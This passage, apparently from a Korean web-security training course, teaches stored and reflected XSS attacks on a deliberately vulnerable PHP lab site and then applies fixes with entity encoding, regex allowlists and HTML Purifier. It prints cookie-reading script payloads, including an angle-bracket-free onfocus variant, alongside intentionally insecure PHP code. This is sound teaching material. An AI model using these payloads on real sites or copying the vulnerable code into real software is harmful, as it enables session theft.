그러므로 크롬에서 관리자 계정으로 로그인한 상태에서만 세션 탈취 시 엣지에서 관리자 계정으로 로그인이 가능하다.

관리자가 맞는지 다시 test 게시글을 작성해본다.

다음과 같이 관리자로 게시글이 작성되는 것을 확인할 수 있다.

해커가 작성한 게시글 중, 리다이렉션되는 22번 게시글을 삭제하기 위해서는 다음과 같은 절차가 필요하다.

1. 해커 계정으로 로그인 후 버프스위트에서 Intercept On 한다.

2. 22번 게시글을 클릭 후 Forward(Ctrl + F)한다.

3. 응답값에서 script 부분을 삭제한다.

4. Intercept Off 후, 게시글에서 Delete 클릭하여 삭제한다.

위 script 부분을 삭제한다.

Delete 를 클릭하여 게시글을 삭제한다.

남은 게시글을 한꺼번에 삭제하기 위해서 MySQL에서 아래와 같이 쿼리를 사용해서 전체 게시글을 삭제해도 된다.

delete from insecure_board;

실습5-5 MyPage에 대한 XSS 공격과 꺽쇠 문자 없이 XSS 공격 실습

My Page 대상으로 XSS 공격을 시도해본다.

현재 insecure_website의 My Page를 XSS 공격을 위해 수정해도 사실 큰 의미는 없다.

→ 본인 계정의 My Page는 본인만 확인이 가능하므로, 본인 외에 악성 스크립트를 확인할 사람이 없다.

→ 관리자가 따로 회원정보를 확인할 수 있는 구조가 아니므로

하지만 실제 웹 사이트에서는 각 회원별 정보를 따로 모아놓는 관리자 전용 웹 페이지가 존재할 수 있는데, 해당 페이지에서는 개인이 My Page에 저장한 내용을 확인할 수 있으므로 그런 경우에는 My Page 에 악성 스크립트를 저장하여 Stored Based XSS를 시도할 수 있다.

→ 관리자 페이지에서 악성 스크립트에 의한 XSS 공격이 발생할 수 있다.

→ My Page를 대상으로 꺽쇠 또는 특수문자에 대한 검증이 있는지 취약점 진단이 필요하다.

실제 취약점 진단 시 관리자 전용 웹 페이지와 관리자 계정을 제공받는다면, 일반 계정으로 My Page에 악성 스크립트를 심어놓고, 관리자 전용 웹 페이지에서 해당 악성 스크립트가 발생하는지 확인할 수 있다.

→ 만약 관리자 계정 및 웹 페이지를 따로 제공받지 못한다면, 일반 계정의 My Page 에서 XSS 공격을 시도하여 취약점 여부를 확인하면 된다.

hacker 계정으로 로그인 후 My Page에 접속한다.

크롬 개발자 도구를 열고(F12), Name 부분에 맞는 HTML 코드를 찾는다.

Copy outerHTML 을 클릭하여 '해커' 문자열이 삽입된 HTML 코드를 복사한다.

Name 입력칸에 HTML 코드는 다음과 같다.

value 뒤에 사용자 입력값이 들어가는데, 기존에 SQL Injection 공격을 시도하듯이 서버에서 코드를 수신하는 입장으로 생각해본다.

만약 아래 코드를 서버에서 수신하려면 Name 입력값에 어떻게 입력해야 할까?

</input type="text" class="form-control" name="name" placeholder="name input" value="해커"><script>alert(document.cookie);</script>">

Name 입력값에 아래 스크립트를 입력한다.

해커"><script>alert(document.cookie);</script>

위와 같이 스크립트를 입력 후 수정하게되면, 아래와 같이 XSS 공격이 발생하여 세션값이 출력되는 것을 확인할 수 있다.

해커 계정의 name에 저장된 스크립트를 MySQL 에 접속 후 DB에서 확인해본다.

실제 취약점 진단 시 Name 입력값 같이 1개의 포인트에만 진단하는 것이 아닌, E-mail, Company 등 여러 입력값을 진단 후 대응하는 방법을 제시해야 한다.

다시 해커 계정의 Name 입력값을 원래대로 수정힌다.

만약 꺽쇠를 입력할 수 없는 상황이면 어떻게 해야 할까?

→ 꺽쇠가 제거되는 경우, HTML Entity Encoding이 적용되는 경우

꺽쇠(<)를 사용하지 않고 XSS 를 발생시키는 방법을 알아본다.

먼저 꺽쇠(<)를 사용할 수 없도록 mypage.php 파일의 소스코드를 수정해본다.

경로: C:\APM_Setup\htdocs\insecure_website

< mypage.php >

<?
	include_once("./common.php");

	$db_conn = mysql_conn();
	$id = $db_conn->real_escape_string($_GET["id"]);
	$gubun = $_POST["gubun"];

	if($gubun == "action") {
		$name = $db_conn->real_escape_string($_POST["name"]);
		$email = $db_conn->real_escape_string($_POST["email"]);
		$company = $db_conn->real_escape_string($_POST["company"]);
		$password = $_POST["password"];
		if(!empty($password)) {
			$password = md5($password);
			$query = "update members set name='{$name}', email='{$email}', company='{$company}', password='{$password}' where id='{$id}'";
			$result = $db_conn->query($query);
		} else {
			$query = "update members set name='{$name}', email='{$email}', company='{$company}' where id='{$id}'";
			$result = $db_conn->query($query);
		}
		echo "<script>alert('회원정보 수정완료');</script>";
	}

	$query = "select * from members where id='{$id}'";

	$result = $db_conn->query($query);
	$num = $result->num_rows;
?>

$name 에 str_replace를 사용하여 꺽쇠를 다른 문자로 대체한다.

< mypage.php 수정 코드 >

<?
	include_once("./common.php");

	$db_conn = mysql_conn();
	$id = $db_conn->real_escape_string($_GET["id"]);
	$gubun = $_POST["gubun"];

	if($gubun == "action") {
		$name = $db_conn->real_escape_string($_POST["name"]);
		$name = str_replace("<", "&lt;", $name);
		$name = str_replace(">", "&gt;", $name);
		$email = $db_conn->real_escape_string($_POST["email"]);
		$company = $db_conn->real_escape_string($_POST["company"]);
		$password = $_POST["password"];
		if(!empty($password)) {
			$password = md5($password);
			$query = "update members set name='{$name}', email='{$email}', company='{$company}', password='{$password}' where id='{$id}'";
			$result = $db_conn->query($query);
		} else {
			$query = "update members set name='{$name}', email='{$email}', company='{$company}' where id='{$id}'";
			$result = $db_conn->query($query);
		}
		echo "<script>alert('회원정보 수정완료');</script>";
	}

	$query = "select * from members where id='{$id}'";

	$result = $db_conn->query($query);
	$num = $result->num_rows;
?>

위 소스코드 적용 후 다시 Name 입력값에 스크립트를 삽입하면 세션값을 더 이상 가져오지 않는다.

해커"><script>alert(document.cookie)</script> 입력한다.

이제는 더 이상 꺽쇠를 사용한 XSS 공격이 발생하지 않는다.

크롬 개발자 도구로 확인하니 꺽쇠가 &lt, &gt로 치환된것을 확인할 수 있다.

이제 꺽쇠를 사용하는 XSS 공격은 불가능하므로, 꺽쇠가 없는 상태의 XSS을 시도해본다.

더블 쿼터 (") 를 사용할 수 있으면 꺽쇠없이 XSS 공격이 가능하다.

만약 더블 쿼터 (")가 HTML Entity Encoding이 적용되어 다른 문자로 치환된다면 XSS 공격이 어려워진다.

XSS는 Javascript 를 실행하기 위한 방법을 사용하면 공격이 가능하다.

onfocus 는 해당 요소(객체)에 포커스(초점) 되었을때 발생한다.

autofocus 는 페이지가 로드될 때 자동으로 포커스(focus)가 <input> 요소로 이동한다.

→ 로그인 페이지 클릭 시 ID 입력란에 자동으로 포커스 가는 것과 같다.

Name 입력란에 포커스가 되면 onfocus가 발생하게 되고, document.cookie 경고창이 출력된다.

Name 입력값에 스크립트를 삽입하면, DB에 설정된 컬럼 길이 초과로 인해 해커 문자열만 확인되는데, 이때 해커를 한 문자로 변경시켜서 다시 시도해본다.

a" onfocus="alert(document.cookie)" autofocus="

스크립트 입력 후 My Page에 접속하면 아래와 같이 세션값이 경고창으로 출력되는 것을 확인할 수 있다.

이렇게 태그에 따라 사용할 수 있는 Javascript 이벤트 핸들러를 통해서 XSS 공격을 시도할 수 있다.

해당 공격의 대응방안은 더블 쿼터 (")를 필터링한다.

7) 대응 방안

대응하기 까다로운 XSS 취약점

SQL Injection은 싱글 쿼터 ' 에 대한 검증, 숫자형은 숫자 자체에 대한 검증을 하면 되고, 파일 업로드 취약점은 확장자 검증을 하면 되며, 파일 다운로드 취약점은 경로 이동 문자(../) 관련해서 필터링하면 된다.

XSS 는 HTML 태그를 사용해야 하는 경우가 있어 대응하기 굉장히 까다롭다. (게시판)

→ 환경에 따라 알맞게 적용해야 한다.

서비스와 보안의 상관 관계

- 보안을 고려하면 서비스 효율이 낮아진다.

- 서비스 효율이 높아지면 보안이 낮아진다.

XSS 공격 유형별로 살펴보는 필수 문자

1번 예시는 <, > 꺽쇠가 사용된다.

2번 예시는 " " 더블 쿼터가 사용된다.

3번 예시는 " " 더블 쿼터 또는 양 옆에 싱글 쿼터를 사용하면, ' ' 싱글 쿼터가 사용된다.

XSS는 각각의 상황별로 대응해야할 문자가 다르다.

입력 값 용도에 따른 대응 프로세스 수립

사용자 입력 값	대응 방안
숫자	is_numeric() 함수 사용, 정규 표현식을 통한 입력 값 검증
단순 문자(+숫자)	정규 표현식을 통한 입력 값 검증 a-z,A-Z,0-9
문자 + 특수 문자	1. 특정 패턴에 대한 정규 표현식 사용하여 입력값 검증 2. 특정 패턴에 없다면(게시글 내용 등) HTML 사용 여부에 따라 보안 라이브러리를 사용하거나 HTML Entity Encoding을 적용한다. - HTML 사용 여부 확인 HTML 사용: 보안 라이브러리 사용(HTML Purifier) HTML 미사용: HTML Entity Encoding 보안 라이브러리 직접 제작하는 경우에는 추가적인 검증이 필요하다.

대응 방안(1) : 정규 표현식을 통한 입력 값 검증 - 숫자

대응 방안(1) : 정규 표현식을 통한 입력 값 검증 - 단순 문자(+숫자)

대응 방안(1) : 정규 표현식을 통한 입력 값 검증 - 문자 + 특수 문자

대응 방안(2) : 보안 라이브러리

라이브러리	엔티티
OWASP ESAPI	JAVA, PHP, ASP.NET...
LUCY XSS	JAVA
HTML Purifier	PHP
AntiXSS	ASP.NET

HTML Purifier 적용 레퍼런스 URL: https://gist.github.com/kijin/5829736

대응 방안(3) : HTML Entiry Encoding

XSS 를 막기 위한 근본적인 방법, 원래 보안 목적으로 사용하지 않았으며 단순 메타 문자를 출력하기 위해 사용

HTML Entity Code 표

문자	엔티티
&	&
<	<
>	>
"	" 혹은 "
'	' 혹은 '
(	(
)	)

HTML Entity Code 표 참고 URL : https://ascii.cl/htmlcodes.htm

실습5-6 취약 환경 시큐어 코딩 적용 실습

127.0.0.1/insecure_website에 접속 후 임의의 계정으로 로그인 후 My Page에 접속한다.

URL의 page 부분에 mypage 말고 다른 값을 입력해본다.

위와 같이 에러 페이지에 대해 사용자 입력값을 그대로 출력하는 것을 확인할 수 있다.

이를 통해 Reflected XSS 공격이 가능한 것을 알 수 있다.

해당 value 에 XSS 스크립트를 사용하면 아래와 같이 세션값이 에러 메시지로 출력되어 확인된다.

시큐어 코딩을하기 위해 아래 경로에서 error.php 파일을 수정한다.

경로: C:\APM_Setup\htdocs\insecure_website

< error.php >

<?
  include_once("./common.php");
  $value = $_GET["value"];
?>
    <div class="pricing-header px-3 py-3 pt-md-5 pb-md-4 mx-auto text-center">
      <h1 class="display-4">"<?=$value?>" Page Not Found</h1>
      <hr>
    </div>

위 코드를 보면 value 값을 받아서 그대로 출력하는 것을 알 수 있다.

→ 웹 페이지에 그대로 출력

웹 사이트 사용 시 페이지 이름에는 특수문자를 사용하지 않는다는 것을 알게 되었다.

Reflected XSS 공격이 발생하기 위한 핵심 조건이 꺽쇠 <, > 를 사용하는 것이다.

페이지 이름에 특수문자를 사용하지 않기 때문에 정규표현식을 사용하여 a-zA-Z 조건을 추가하면 된다.

정규표현식을 사용하여 허용한 문자만 pass 하도록 소스코드를 수정한다.

보안담당자의 경우 해당 웹 페이지 이름이 허용하는 문자열의 범위를 개발자와 협의하여 XSS 가 발생하지 않도록 소스코드를 수정하도록 해야 한다.

< error.php 시큐어 코딩 적용 >

<?
  include_once("./common.php");
  $value = $_GET["value"];

  if(!preg_match("/^[a-zA-Z]$/", $value)){
    echo "<script>alert('정상적인 입력 값이 아닙니다.');history.back(-1)</script>";
    exit();
  }

?>
    <div class="pricing-header px-3 py-3 pt-md-5 pb-md-4 mx-auto text-center">
      <h1 class="display-4">"<?=$value?>" Page Not Found</h1>
      <hr>
    </div>

정규표현식을 사용하여 a부터 z 까지 문자열만 허용하고, 다른 문자를 입력하면 경고창을 띄우는 코드를 작성하였다.

다시 이전의 에러페이지로 가서 value 부분에 특수문자를 삽입하면 아래와 같이 경고창이 출력된다.

게시판의 action.php (글쓰기, 수정, 삭제를 담당하는 코드) 가 XSS 에 취약하므로 소스코드를 확인해야한다.

Stored XSS 는 일반적으로 게시판에 악성 스크립트를 삽입 후, 해당 악성 스크립트가 DB에 저장되어 있다가 사용자가 게시글을 통해 악성 스크립트를 확인하게 되어 발생하는 공격이다.

Stored XSS 는 DB에 대응방안을 적용할 때 두 가지 방식이 있다.

1. DB에 입력하기 전에 대응방안 적용

2. DB에서 출력할 때 대응방안 적용

1번은 DB에 저장하기 전에 HTML Entity Encoding 을 적용하여 저장하는 방식이다.

2번은 DB에 저장할때는 문자열을 그대로 저장 후, 출력할 때 HTML Entity Encoding을 적용하는 방식이다.

XSS로 부터 안전하기 위해서는 1번 방식을 추천한다.

2번 방식을 사용하는 경우, 출력할 때 HTML Entity Encoding을 적용한다 하더라도 게시판의 최근 게시글 기능에 의해 XSS 공격이 발생되는 경우가 있다. (게시판 목록, 상세보기에서는 XSS 가 발생하지 않지만, 메인 화면의 최근 게시글을 보면 XSS 가 발생함)

2번 방식을 사용하는 경우, 출력되는 포지션이 파악이 되어야 하며, 각 출력 위치마다 대응방안 적용을 일일히 해야한다.

그러므로 아예 DB에 저장하기 전에 HTML Entity Encoding 을 적용하여 안전하게 데이터를 저장하는 것을 추천한다.

action.php 의 insert 와 update 부분에 대해서 대응방안을 적절히 적용해야 한다.

사용자 입력값에 대해 허용할 문자, 특수문자, 숫자 등을 사전에 분류해야 한다.

< action.php 소스코드 >

<?
	@session_start();
	header("Content-Type: text/html; charset=UTF-8");
	include ( './common.php' );

	$mode = $_REQUEST["mode"];
	$db_conn = mysql_conn();
	
	if($mode == "write") {
		$title = $db_conn->real_escape_string($_POST["title"]);
		$id = $db_conn->real_escape_string($_SESSION["id"]);
		$writer = $db_conn->real_escape_string($_SESSION["name"]);
		$password = $db_conn->real_escape_string($_POST["password"]);
		$content =$db_conn->real_escape_string($_POST["content"]);
		$secret = $_POST["secret"];
		$uploadFile = "";

		if(empty($title) || empty($password) || empty($content)) {
			echo "<script>alert('빈칸이 존재합니다.');history.back(-1);</script>";
			exit();
		}

		if(!empty($_FILES["userfile"]["name"])) {
			$uploadFile = $_FILES["userfile"]["name"];
			$uploadPath = "{$upload_path}/{$uploadFile}";
			
			if(!(@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadPath))) {
				echo("<script>alert('파일 업로드를 실패 하셨습니다.');history.back(-1);</script>");
				exit;
			}
		}   
		
		if($secret == "on") {
			$secret = "y";
		} else {
			$secret = "n";
		}
		
		$uploadFile = $db_conn->real_escape_string($uploadFile);
		$content = str_replace("\r\n", "<br>", $content);
		
		$query = "insert into {$tb_name}(title, id, writer, password, content, file, secret, regdate) values('{$title}', '{$id}', '{$writer}', '{$password}', '{$content}', '{$uploadFile}', '{$secret}', now())";
		$db_conn->query($query);
	} else if($mode == "modify") {
		$idx = $_POST["idx"];
		$title = $db_conn->real_escape_string($_POST["title"]);
		$password = $db_conn->real_escape_string($_POST["password"]);
		$content = $db_conn->real_escape_string($_POST["content"]);
		$secret = $_POST["secret"];
		$uploadFile = $_POST["oldfile"];

		if(empty($idx) || empty($title) || empty($password) || empty($content)) {
			echo "<script>alert('빈칸이 존재합니다.');history.back(-1);</script>";
			exit();
		}

		if(!is_numeric($idx)) {
			echo "<script>alert('숫자 값만 가능합니다.');history.back(-1);</script>";
			exit();
		}		

		# Password Check Logic
		$query = "select * from {$tb_name} where idx={$idx} and password='{$password}'";
		$result = $db_conn->query($query);
		$num = $result->num_rows;

		if($num == 0) {
			echo "<script>alert('패스워드가 일치하지 않습니다.');history.back(-1);</script>";
			exit();
		}

		if(!empty($_FILES["userfile"]["name"])) {
			$uploadFile = $_FILES["userfile"]["name"];
			$uploadPath = "{$upload_path}/{$uploadFile}";
			
			if(!(@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadPath))) {
				echo("<script>alert('파일 업로드를 실패 하셨습니다.');history.back(-1);</script>");
				exit;
			}
		}
		
		if($secret == "on") {
			$secret = "y";
		} else {
			$secret = "n";
		}
		
		$content = str_replace("\r\n", "<br>", $content);
		$uploadFile = $db_conn->real_escape_string($uploadFile);

		$query = "update {$tb_name} set title='{$title}', content='{$content}', file='{$uploadFile}', secret='{$secret}', regdate=now() where idx={$idx}";
		$db_conn->query($query);
	} else if($mode == "delete") {
		$idx = $_POST["idx"];
		$password = $db_conn->real_escape_string($_POST["password"]);

		if(!is_numeric($idx)) {
			echo "<script>alert('숫자 값만 가능합니다.');history.back(-1);</script>";
			exit();
		}				
		
		# Password Check Logic
		$query = "select * from {$tb_name} where idx={$idx} and password='{$password}'";
		$result = $db_conn->query($query);
		$num = $result->num_rows;

		if($num == 0) {
			echo "<script>alert('패스워드가 일치하지 않습니다.');history.back(-1);</script>";
			exit();
		}
		
		$query = "delete from {$tb_name} where idx={$idx}";
		$db_conn->query($query);
	}

	echo "<script>location.href='index.php';</script>";
	$db_conn->close();
?>

위 소스코드를 보면 title(제목), writer(작성자) 에 꺽쇠 <, > 는 사용되지 않기 때문에, 필터링 해도 될 것 같다. (HTML 태그가 사용되지 않을 부분을 확인)

하지만 content(게시글 내용)는 HTML 태그를 사용하는 부분이 상당히 많다. content 에는 보안라이브러리를 적용해본다.

제목, 작성자 등 HTML 태그가 필요없는 부분에는 일괄적으로 HTML Entity Encoding을 적용할 필요가 있다.

각 변수에 일일이 적용하는 것보다는, 함수를 선언해서 일괄로 적용하는 것이 더 효율적이다.

common.php 를 열고 HTML Entity Encoding 함수를 선언해준다.

< common.php >

<?php
	header("Content-Type: text/html; charset=UTF-8;");

	$tb_name = "insecure_board";
	$upload_path = "upload";

	function mysql_conn() {
		$host = "127.0.0.1";
		$id = "root";
		$pw = "test";
		$db = "pentest";
	
		$db_conn = new mysqli($host, $id, $pw, $db);

		return $db_conn;
	}

?>

< common.php 에서 xss_html_entity 함수 선언하기 >

<?php
	header("Content-Type: text/html; charset=UTF-8;");

	$tb_name = "insecure_board";
	$upload_path = "upload";

	function mysql_conn() {
		$host = "127.0.0.1";
		$id = "root";
		$pw = "test";
		$db = "pentest";
	
		$db_conn = new mysqli($host, $id, $pw, $db);

		return $db_conn;
	}

	function xss_html_entity($value) {
		$value = str_replace("<", "&lt", $value);
		$value = str_replace(">", "&gt", $value);
		$value = str_replace("\"", "&quot", $value);

		return $value;
	}

?>

만약 지금 싱글 쿼터 ' 를 굳이 사용하지 않은 상태라면, 싱글 쿼터에 대한 HTML Entity Encoding 은 생략한다.

게시글에 글을 작성 후 출력되는 부분이 무엇인지 생각하면서 action.php 각 변수에 xss_html_entity 함수를 적용해본다.

글 작성 모드에서 title(제목), writer(작성자) 변수에만 먼저 xss_html_entiry 함수를 적용시켜본다.

< action.php 의 write(게시글 작성 모드) 소스코드 HTML Entity Encoding 적용 >

<?
	@session_start();
	header("Content-Type: text/html; charset=UTF-8");
	include ( './common.php' );

	$mode = $_REQUEST["mode"];
	$db_conn = mysql_conn();
	
	if($mode == "write") {
		$title = xss_html_entity($db_conn->real_escape_string($_POST["title"]));
		$id = $db_conn->real_escape_string($_SESSION["id"]);
		$writer = xss_html_entity($db_conn->real_escape_string($_SESSION["name"]));
		$password = $db_conn->real_escape_string($_POST["password"]);
		$content = $db_conn->real_escape_string($_POST["content"]);
		$secret = $_POST["secret"];
		$uploadFile = "";

		if(empty($title) || empty($password) || empty($content)) {
			echo "<script>alert('빈칸이 존재합니다.');history.back(-1);</script>";
			exit();
		}

코드 저장 후 해커 계정으로 로그인 후 악성 스크립트를 제목에 삽입하여 게시글을 작성해본다.

글 작성 후 게시글 목록을 확인하니 다음과 같이 악성 스크립트가 그대로 확인되지만, 경고창을 띄우지 않는다.

웹 페이지의 소스코드를 확인해본다.

꺽쇠가 &lt 와 &gt 로 치환된것을 확인할 수 있으며, 그래서 사용자한테는 문자열 그대로 출력된것을 알 수 있다.

게시글 작성 부분은 여러 취약한 부분 중 하나이며, 게시글 수정, 게시글 삭제 등과 같이 다양한 기능에 대해 취약점 존재 유무를 파악하여 각 기능에 맞는 대응 방안을 적용해야 한다.

실제 취약점 진단 시 게시글 작성 부분에 테스트해본 다음, 게시글 수정 부분도 테스트해본다.

게시글 작성 부분은 HTML Entity Encoding이 적용되어 있으나, 수정 부분에는 적용되어 있지 않는 경우도 간혹 존재한다.

action.php 의 modify 부분도 동일하게 적용해준다.

< action.php 의 modify(게시글 수정 모드) 소스코드 HTML Entity Encoding 적용 >

	} else if($mode == "modify") {
		$idx = $_POST["idx"];
		$title = xss_html_entity($db_conn->real_escape_string($_POST["title"]));
		$password = $db_conn->real_escape_string($_POST["password"]);
		$content = $db_conn->real_escape_string($_POST["content"]);
		$secret = $_POST["secret"];
		$uploadFile = $_POST["oldfile"];

		if(empty($idx) || empty($title) || empty($password) || empty($content)) {
			echo "<script>alert('빈칸이 존재합니다.');history.back(-1);</script>";
			exit();
		}

title(제목) 부분에 xss_html_entity 함수를 적용해준다.

password(비밀번호)는 굳이 적용해줄 필요는 없다. (사용자에게 출력되는 데이터가 아니기 때문에)

리눅스나 유닉스 환경에서는 파일명에 꺽쇠가 들어갈 수 있다.

파일명에 꺽쇠가 들어가 있으면 게시글 확인 시 파일명이 출력되어 XSS 공격이 가능하다.

그러므로 파일명 변수에도 xss_html_entity 함수를 적용해주는 방법이 있다.

→ DB에 저장할때 안전하게 저장하도록 HTML Entity Encoding을 적용

현재는 윈도우 환경이며, DB에 저장되기 전에 에러가 발생하기 때문에 굳이 적용해준 필요는 없다.

리눅스나 유닉스환경에서는 HTML Entity Encoding 을 적용해준다.

content(게시글 내용) 부분에는 PHP 의 보안 라이브러리(HTML Purifier)를 적용해본다.

HTML Purifier 홈페이지

HTML Purifier 적용 레퍼런스 URL: https://gist.github.com/kijin/5829736

현재 실습 환경에는 이미 HTML Purifier 가 다운로드 되어 있는 상태이다.

HTML Purifier 레퍼런스 링크에 들어가서 코드를 복사해서 common.php 에 붙여넣는다.

xss_html 이라는 함수를 정의하여 해당 코드를 붙여넣는다.

< common.php 소스코드에 HTML Purifier 보안 라이브러리 코드 적용 >

<?php
	header("Content-Type: text/html; charset=UTF-8;");

	$tb_name = "insecure_board";
	$upload_path = "upload";

	function mysql_conn() {
		$host = "127.0.0.1";
		$id = "root";
		$pw = "test";
		$db = "pentest";
	
		$db_conn = new mysqli($host, $id, $pw, $db);

		return $db_conn;
	}

	function xss_html_entity($value) {
		$value = str_replace("<", "&lt", $value);
		$value = str_replace(">", "&gt", $value);
		$value = str_replace("\"", "&quot", $value);

		return $value;
	}

	function xss_html($value) {
		// 웹사이트에서 다운받아 적당한 곳에 압축 푸세요.
		require_once('./htmlpurifier/library/HTMLPurifier.auto.php');

		// 기본 설정을 불러온 후 적당히 커스터마이징을 해줍니다.
		$config = HTMLPurifier_Config::createDefault();
		$config->set('Attr.EnableID', false);
		$config->set('Attr.DefaultImageAlt', '');

		// 인터넷 주소를 자동으로 링크로 바꿔주는 기능
		$config->set('AutoFormat.Linkify', true);

		// 이미지 크기 제한 해제 (한국에서 많이 쓰는 웹툰이나 짤방과 호환성 유지를 위해)
		$config->set('HTML.MaxImgLength', null);
		$config->set('CSS.MaxImgLength', null);

		// 다른 인코딩 지원 여부는 확인하지 않았습니다. EUC-KR인 경우 iconv로 UTF-8 변환후 사용하시는 게 좋습니다.
		$config->set('Core.Encoding', 'UTF-8');

		// 필요에 따라 DOCTYPE 바꿔쓰세요.
		$config->set('HTML.Doctype', 'XHTML 1.0 Transitional');

		// 플래시 삽입 허용
		$config->set('HTML.FlashAllowFullScreen', true);
		$config->set('HTML.SafeEmbed', true);
		$config->set('HTML.SafeIframe', true);
		$config->set('HTML.SafeObject', true);
		$config->set('Output.FlashCompat', true);

		// 최근 많이 사용하는 iframe 동영상 삽입 허용
		$config->set('URI.SafeIframeRegexp', '#^(?:https?:)?//(?:'.implode('|', array(
			'www\\.youtube(?:-nocookie)?\\.com/',
			'maps\\.google\\.com/',
			'player\\.vimeo\\.com/video/',
			'www\\.microsoft\\.com/showcase/video\\.aspx',
			'(?:serviceapi\\.nmv|player\\.music)\\.naver\\.com/',
			'(?:api\\.v|flvs|tvpot|videofarm)\\.daum\\.net/',
			'v\\.nate\\.com/',
			'play\\.mgoon\\.com/',
			'channel\\.pandora\\.tv/',
			'www\\.tagstory\\.com/',
			'play\\.pullbbang\\.com/',
			'tv\\.seoul\\.go\\.kr/',
			'ucc\\.tlatlago\\.com/',
			'vodmall\\.imbc\\.com/',
			'www\\.musicshake\\.com/',
			'www\\.afreeca\\.com/player/Player\\.swf',
			'static\\.plaync\\.co\\.kr/',
			'video\\.interest\\.me/',
			'player\\.mnet\\.com/',
			'sbsplayer\\.sbs\\.co\\.kr/',
			'img\\.lifestyler\\.co\\.kr/',
			'c\\.brightcove\\.com/',
			'www\\.slideshare\\.net/',
		)).')#');

		// 설정을 저장하고 필터링 라이브러리 초기화
		$purifier = new HTMLPurifier($config);

		// HTML 필터링 실행
		$html = $purifier->purify($value);

		return $html;
	}

?>

일부 코드는 실습 환경에 맞게 약간의 변경이 필요하다. (경로, value 변수 등)

이후 action.php 의 wrtie(게시글 작성), modify(게시글 수정) 부분의 각 content 변수에 xss_html 함수를 적용해준다.

< action.php 소스코드 xss_html 함수 적용 >

<?
	@session_start();
	header("Content-Type: text/html; charset=UTF-8");
	include ( './common.php' );

	$mode = $_REQUEST["mode"];
	$db_conn = mysql_conn();
	
	if($mode == "write") {
		$title = xss_html_entity($db_conn->real_escape_string($_POST["title"]));
		$id = $db_conn->real_escape_string($_SESSION["id"]);
		$writer = xss_html_entity($db_conn->real_escape_string($_SESSION["name"]));
		$password = $db_conn->real_escape_string($_POST["password"]);
		$content = xss_html($db_conn->real_escape_string($_POST["content"]));
		$secret = $_POST["secret"];
		$uploadFile = "";

		if(empty($title) || empty($password) || empty($content)) {
			echo "<script>alert('빈칸이 존재합니다.');history.back(-1);</script>";
			exit();
		}

		if(!empty($_FILES["userfile"]["name"])) {
			$uploadFile = $_FILES["userfile"]["name"];
			$uploadPath = "{$upload_path}/{$uploadFile}";
			
			if(!(@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadPath))) {
				echo("<script>alert('파일 업로드를 실패 하셨습니다.');history.back(-1);</script>");
				exit;
			}
		}   
		
		if($secret == "on") {
			$secret = "y";
		} else {
			$secret = "n";
		}
		
		$uploadFile = $db_conn->real_escape_string($uploadFile);
		$content = str_replace("\r\n", "<br>", $content);
		
		$query = "insert into {$tb_name}(title, id, writer, password, content, file, secret, regdate) values('{$title}', '{$id}', '{$writer}', '{$password}', '{$content}', '{$uploadFile}', '{$secret}', now())";
		$db_conn->query($query);
	} else if($mode == "modify") {
		$idx = $_POST["idx"];
		$title = xss_html_entity($db_conn->real_escape_string($_POST["title"]));
		$password = $db_conn->real_escape_string($_POST["password"]);
		$content = xss_html($db_conn->real_escape_string($_POST["content"]));
		$secret = $_POST["secret"];
		$uploadFile = $_POST["oldfile"];

		if(empty($idx) || empty($title) || empty($password) || empty($content)) {
			echo "<script>alert('빈칸이 존재합니다.');history.back(-1);</script>";
			exit();
		}

		if(!is_numeric($idx)) {
			echo "<script>alert('숫자 값만 가능합니다.');history.back(-1);</script>";
			exit();
		}		

		# Password Check Logic
		$query = "select * from {$tb_name} where idx={$idx} and password='{$password}'";
		$result = $db_conn->query($query);
		$num = $result->num_rows;

		if($num == 0) {
			echo "<script>alert('패스워드가 일치하지 않습니다.');history.back(-1);</script>";
			exit();
		}

		if(!empty($_FILES["userfile"]["name"])) {
			$uploadFile = $_FILES["userfile"]["name"];
			$uploadPath = "{$upload_path}/{$uploadFile}";
			
			if(!(@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadPath))) {
				echo("<script>alert('파일 업로드를 실패 하셨습니다.');history.back(-1);</script>");
				exit;
			}
		}
		
		if($secret == "on") {
			$secret = "y";
		} else {
			$secret = "n";
		}
		
		$content = str_replace("\r\n", "<br>", $content);
		$uploadFile = $db_conn->real_escape_string($uploadFile);

		$query = "update {$tb_name} set title='{$title}', content='{$content}', file='{$uploadFile}', secret='{$secret}', regdate=now() where idx={$idx}";
		$db_conn->query($query);
	} else if($mode == "delete") {
		$idx = $_POST["idx"];
		$password = $db_conn->real_escape_string($_POST["password"]);

		if(!is_numeric($idx)) {
			echo "<script>alert('숫자 값만 가능합니다.');history.back(-1);</script>";
			exit();
		}				
		
		# Password Check Logic
		$query = "select * from {$tb_name} where idx={$idx} and password='{$password}'";
		$result = $db_conn->query($query);
		$num = $result->num_rows;

		if($num == 0) {
			echo "<script>alert('패스워드가 일치하지 않습니다.');history.back(-1);</script>";
			exit();
		}
		
		$query = "delete from {$tb_name} where idx={$idx}";
		$db_conn->query($query);
	}

	echo "<script>location.href='index.php';</script>";
	$db_conn->close();
?>

소스코드에 xss_html 함수 적용 후, 기존에 악성 스크립트를 작성했던 게시글을 수정해본다.

게시글 수정 후 해당 게시글을 확인하면 악성 스크립트는 실행되지 않았으나 HTML 태그는 사용이 가능한 것을 확인할 수 있다.

웹 페이지의 소스코드를 확인하면 다음과 같이 보안 라이브러리가 적용되어 스크립트가 필터링된 것을 확인할 수 있다.

하지만 게시글 수정(modify)에서 파일명에 악성 스크립트를 삽입하게 되면 그대로 출력하게 되는 취약점이 존재한다.

버프스위트를 켜고 Intercept on 후 게시글 비밀번호를 입력 후, modify 버튼을 클릭한다.

버프스위트에서 oldfile 이라는 파라미터를 확인할 수 있디.

oldfile 은 이전 파일명으로, 값이 존재하면 예전 파일은 그대로 저장하고 새로운 파일이 있으면 새로운 파일명으로 교체하는 파라미터이다.

최초 게시글 작성 시에는 파일명에 꺽쇠가 들어가면 에러가 발생하지만, 게시글 수정 시에는 적용되어있지 않아 XSS 공격에 취약한 부분이다.

oldfile 파라미터에 test 문자열을 삽입해본다.

test 문자열 삽입 후 Intercept Off 후 다시 해당 게시글을 확인하면 다음과 같이 test 문자열이 파일명으로 확인된다.

이를 통해 oldfile 파라미터를 활용하여 파일명에 문자열을 삽입할 수 있음을 알 수 있다.

이번에는 oldfile 파라미터에 test<script>alert(1)</script> 스크립트를 삽입하여 XSS 공격에 취약한지 확인해본다.

